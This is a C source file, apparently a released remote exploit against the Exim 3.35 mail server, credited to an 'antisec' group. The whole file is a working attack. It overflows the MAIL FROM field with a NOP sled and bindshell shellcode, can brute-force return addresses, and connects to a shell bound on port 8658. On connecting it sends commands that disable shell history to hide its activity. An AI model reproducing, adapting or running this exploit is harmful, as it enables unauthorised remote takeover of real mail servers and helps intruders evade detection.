/* * antisec presents * * exim 3.35 remote exploit * written by newroot & nopfish * * http://www.antisec.de * * greetz to mcb, ^sq , merith * and the whole antisec.de team * */ #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #define CODING_STYLE "German" #define VERSION "0.0.1 private" #define AUTHOR "newroot and nopfish" #define OPT_VERBOSE 1 // 0001 #define OPT_BRUTE 2 // 0010 #define OPT_CHECK 4 // 0100 #define BUFSIZE 256 #define OVERSIZE 44 #define PORT 25 #define HELO "HELO a\r\n" #define FROM "MAIL FROM: " #define RCPT "RCPT TO: postmaster@localhost\r\n" #define DATA "DATA\r\n" #define END "\r\n\r\n.\r\n" #define QUIT "QUIT\r\n" #define ATTACK_HOST "@localho\r\n" #define STACK_START 0xbfffffff #define STACK_END 0xbfff0000 extern int errno; extern int optind, opterr; extern char *optarg; unsigned long int opt_flags; // options unsigned int steps = 15; // steps for bruteforcing unsigned int alignment = 0; // alignment unsigned int timeout = 5; // time between bruteforce int nutcase = 35; unsigned char shellcode[] = // antisec bindshell 8658 / filters out illegal chars "\x31\xc0\x31\xdb\xf7\xe3\xb0\x66\x53\x43\x53\x43\x53\x89\xe1\x4b" "\xcd\x80\x89\xc7\x52\x66\x68\x21\xd2\x43\x66\x53\x89\xe1\x52\xb2" "\x70\x80\xea\x60\x89\xd0\x5a\x50\x51\x57\x89\xe1\xb0\x66\xcd\x80" "\xb0\x66\xb3\x84\x80\xeb\x80\xcd\x80\x50\x50\x57\x89\xe1\x43\xb0" "\x66\xcd\x80\x89\xd9\x89\xc3\xb0\x3f\x49\xcd\x80\x41\xe2\xf8\x51" "\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x51\x53\x89\xe1" "\xfe\xc0\xfe\xc0\xfe\xc0\xfe\xc0\xfe\xc0\xfe\xc0\xfe\xc0\xfe\xc0" "\xfe\xc0\xfe\xc0\xfe\xc0\xcd\x80"; struct targets { unsigned char desc[BUFSIZE]; unsigned long addr; } target[] = { { "Debian 3.0 unstable(woody)", 0xbffff098 }, { "Testing", 0x5c5c5c5c }, { 0x00, 0x00 } }; void banner (char *); void verbose (const char *, ...); void fatal(char *); void error (const char *, ...); int ussage (char *); void print_targets (); int exploit (char *host, int port, struct targets target); char *xp_create (long ret); void xp_destroy (char *payload); int xp_send (char *host, int port, char *payload); int connect_host(char * host,int port); void shell(int thesock); int main (int argc, char **argv) { int c; int port; int target_nr; unsigned long adress = 0x00; banner(argv[0]); if (argc < 2) { return ussage (argv[0]); } port = PORT; target_nr = -1; while ( (c = getopt (argc, argv, "o:n:x:a:p:t:s:bchv")) != -1 ) { switch (c) { case 'b': opt_flags |= OPT_BRUTE; break; case 'p': port = atoi(optarg); break; case 'x': adress = strtoll (optarg, NULL, 16); break; case 'a': alignment = atoi(optarg); break; case 't': target_nr = atoi(optarg); break; case 'o': timeout = atoi(optarg); break; case 's': steps = atoi(optarg); break; case 'n': nutcase = atoi(optarg); break; case 'v': opt_flags |= OPT_VERBOSE; break; case 'c': opt_flags |= OPT_CHECK; break; case 'h': default: return ussage(argv[0]); break; } } if (target_nr == 0) { print_targets (); return EXIT_SUCCESS; } else if (target_nr == -1) { target_nr = 1; } if (adress != 0x00) { target[target_nr-1].addr = adress; } exploit (argv[argc-1], port, target[target_nr-1]); return EXIT_SUCCESS; } void banner (char *args) { char line[BUFSIZ+1]; int i, j; memset ((void *)line, 0x00, BUFSIZ); if (args[0] == '.' && args[1] == '/') { snprintf (line, BUFSIZ, "%s - v%s / written by %s", (args+2), VERSION, AUTHOR); } else { snprintf (line, BUFSIZ, "%s - v%s / written by %s", args, VERSION, AUTHOR); } fprintf (stderr, "\nwww.antisec.de gives you:\n"); fprintf (stderr, "%s a remote exim 3.35 exploit\n\n", args+2); fprintf(stderr, "%s\n", line); j = strlen (line); memset (line, 0x00, BUFSIZ); for (i=0; i< j && i < BUFSIZ; i++) { line[i] = '~'; } fprintf(stderr, "%s\n", line); } void verbose(const char *fmt, ...) { va_list args; if (opt_flags & OPT_VERBOSE) { va_start(args, fmt); vfprintf(stderr, fmt, args); va_end(args); } } void fatal(char *msg) { perror (msg); exit(EXIT_FAILURE); } void error (const char *fmt, ...) { va_list args; if (opt_flags & OPT_VERBOSE) { va_start(args, fmt); vfprintf(stderr, fmt, args); va_end(args); } exit(EXIT_FAILURE); } int ussage (char *args) { fprintf (stderr, "Ussage %s [options] \n", args); fprintf (stderr, "\t-t \t target (0 for listing)\n"); fprintf (stderr, "\t-x
\t give your own adress in hex (0xbffffc03)\n"); fprintf (stderr, "\t-o \t time between bruteforce attempts (default 5)\n"); fprintf (stderr, "\t-s \t steps for bruteforce (default 15)\n"); fprintf (stderr, "\t-p \t use an other port then 25\n"); fprintf (stderr, "\t-n \t default is 35\n"); fprintf (stderr, "\t-a \t alignment\n"); fprintf (stderr, "\t-b\t\t bruteforce mode\n"); fprintf (stderr, "\t-c\t\t check if target is vulnable\n"); //fprintf (stderr, "\t-v\t\t\t verbose output\n"); fprintf (stderr, "\t-h\t\t this help :)\n"); return EXIT_FAILURE; } void print_targets () { int i; fprintf (stdout, "Supported targets:\n"); for (i=0; target[i].addr != 0; i++) { fprintf (stdout, "\t%i) - %s\n", i+1, target[i].desc); } } int exploit (char *host, int port, struct targets target) { char *payload; int thesock; long ret; if (opt_flags & OPT_BRUTE) { for (ret = STACK_START; ret > STACK_END; ret-=steps) { fprintf (stdout, "[+] Trying %#x\n", ret); payload = xp_create (target.addr); xp_send (host, port, payload); sleep(timeout); thesock = connect_host (host, 8658); if (thesock == -1) { fprintf (stdout, "[-] Exploit failed!\n"); xp_destroy (payload); } else { fprintf (stdout, "[+] Exploit success!\n"); fprintf (stdout, "[+] Waiting for shell\n"); shell (thesock); break; } } } else { if (opt_flags & OPT_CHECK) { fprintf (stdout, "[+] Checking for vulnability\n"); } else { fprintf (stdout, "[+] Trying %#x\n", target.addr); } payload = xp_create (target.addr); xp_send (host, port, payload); sleep(2); thesock = connect_host (host, 8658); if (thesock == -1) { fprintf (stdout, "[-] Exploit failed!\n"); xp_destroy (payload); return EXIT_FAILURE; } else { fprintf (stdout, "[+] Exploit success!\n"); fprintf (stdout, "[+] Waiting for shell\n"); sleep(1); shell (thesock); } } return 0; } char * xp_create (long ret) { unsigned char *payload; long *longptr; int i; payload = NULL; payload = (unsigned char *) malloc (BUFSIZE+OVERSIZE+strlen(ATTACK_HOST)+1); if (payload == NULL) { fprintf (stderr, "[-] Can't allocate enugh memory!\n"); exit (EXIT_FAILURE); } memset (payload, 0x00, BUFSIZE+OVERSIZE+strlen(ATTACK_HOST)); if (OPT_CHECK & opt_flags) { memset (payload, 0x41, BUFSIZE+OVERSIZE); } else { memset (payload, 0x90, BUFSIZE+OVERSIZE); memcpy (payload+BUFSIZE-strlen(shellcode)-nutcase, shellcode, strlen(shellcode)); (unsigned char *)longptr = payload+BUFSIZE; for (i=0+alignment; i < OVERSIZE; i+=4) { *(longptr++) = ret; } } memcpy (payload+BUFSIZE+OVERSIZE, ATTACK_HOST, strlen (ATTACK_HOST)); return payload; } int xp_send (char *host, int port, char *payload) { int thesock; char buffer[BUFSIZ]; struct timeval tv; fd_set rfds, wfds; int ret; thesock = connect_host (host, port); if (thesock == -1) { fprintf (stderr, "[-] Can't connect to target %s\n", host); exit (EXIT_FAILURE); } else { fprintf (stdout, "[+] Connected.\n"); } memset (buffer, 0x00, BUFSIZ); #ifdef DEBUG sleep(4); #endif // reading banner //fprintf (stderr, "reading banner...\n"); memset (buffer, 0x00, BUFSIZ); ret = recv (thesock, buffer, sizeof (buffer), 0); //fprintf (stdout, "%s\n", buffer); //sending helo //fprintf (stderr, "sending HELO...\n"); memset (buffer, 0x00, BUFSIZ); ret = send (thesock, HELO, strlen(HELO), 0); ret = recv (thesock, buffer, sizeof (buffer), 0); //fprintf (stdout, "%s\n", buffer); // sending mail from: //fprintf (stderr, "sending MAIL FROM:...\n"); memset (buffer, 0x00, BUFSIZ); ret = send (thesock, FROM, strlen (FROM), 0); ret = send (thesock, payload, strlen (payload), 0); ret = recv (thesock, buffer, sizeof (buffer), 0); //fprintf (stdout, "%s\n", buffer); // sending rcpt to: //fprintf (stderr, "sending RCPT TO:...\n"); memset (buffer, 0x00, BUFSIZ); ret = send (thesock, RCPT, strlen (RCPT), 0); ret = recv (thesock, buffer, sizeof (buffer), 0); //fprintf (stdout, "%s\n", buffer); FD_ZERO(&rfds); FD_SET(thesock, &rfds); tv.tv_sec = 7; tv.tv_usec = 0; // data //fprintf (stderr, "sending DATA:...\n"); memset (buffer, 0x00, BUFSIZ); ret = send (thesock, DATA, strlen (DATA), 0); select (thesock+1, &rfds, NULL, NULL, &tv); if (FD_ISSET(thesock, &rfds)) { ret = recv (thesock, buffer, sizeof (buffer), 0); //fprintf (stdout, "%s\n", buffer); } else { close (thesock); return -1; } FD_ZERO(&rfds); FD_SET(thesock, &rfds); tv.tv_sec = 7; tv.tv_usec = 0; // end things //fprintf (stderr, "sending END THINGS:...\n"); memset (buffer, 0x00, BUFSIZ); ret = send (thesock, END, strlen (END), 0); select (thesock+1, &rfds, NULL, NULL, &tv); if (!FD_ISSET(thesock, &rfds)) { fprintf (stdout, "[+] Offset seems good ! if the next hit fails\n"); fprintf (stdout, "[+] try to decrement THIS adddress by 5 or 10!\n"); close (thesock); return -1; } ret = recv (thesock, buffer, sizeof (buffer), 0); if (opt_flags & OPT_CHECK) { if (buffer[0] == 0x00) { fprintf (stdout, "[+] Host seams vulnable!\n"); } else { fprintf (stdout, "[-] Host is not vulnable!\n"); } close (thesock); exit (EXIT_SUCCESS); } //fprintf (stdout, "%s\n", buffer); ret = send (thesock, QUIT, strlen (QUIT), 0); close (thesock); return ret; } void xp_destroy (char *payload) { free (payload); } int connect_host(char * host,int port) { struct sockaddr_in addr; struct hostent *he; int ret; int sock; he=gethostbyname(host); if (he==NULL) return -1; sock=socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); if (sock==-1) return -1; memcpy(&addr.sin_addr, he->h_addr, he->h_length); addr.sin_family=AF_INET; addr.sin_port=htons(port); ret = connect(sock, (struct sockaddr *)&addr, sizeof(addr)); if(ret == 0 ) { return sock; } else { return -1; } return -1; } void shell(int thesock) { int n; fd_set fds; char buff[1024], *cmd="unset HISTFILE; export HISTFILE=/dev/zero;" "export TERM=vt100;/bin/uname -a;/usr/bin/id;\n"; FD_ZERO(&fds); FD_SET(thesock, &fds); FD_SET(0, &fds); send(thesock, cmd, strlen(cmd), 0); while(1) { FD_SET(thesock,&fds); FD_SET(0,&fds); if(select(thesock+1,&fds, NULL, NULL, NULL)<0) break; if( FD_ISSET(thesock, &fds) ) { if(!(n=recv(thesock,buff,sizeof(buff),0))) { exit(EXIT_FAILURE); } if (!write (1, buff, n)) break; } if ( FD_ISSET(0, &fds) ) { n = read (0, buff, sizeof(buff)); if(n <= 0){ fprintf(stderr,"EOF\n"); exit(EXIT_FAILURE); } if(send(thesock,buff,n,0)<0) break; } } fprintf(stderr,"done.\n"); exit(EXIT_SUCCESS); }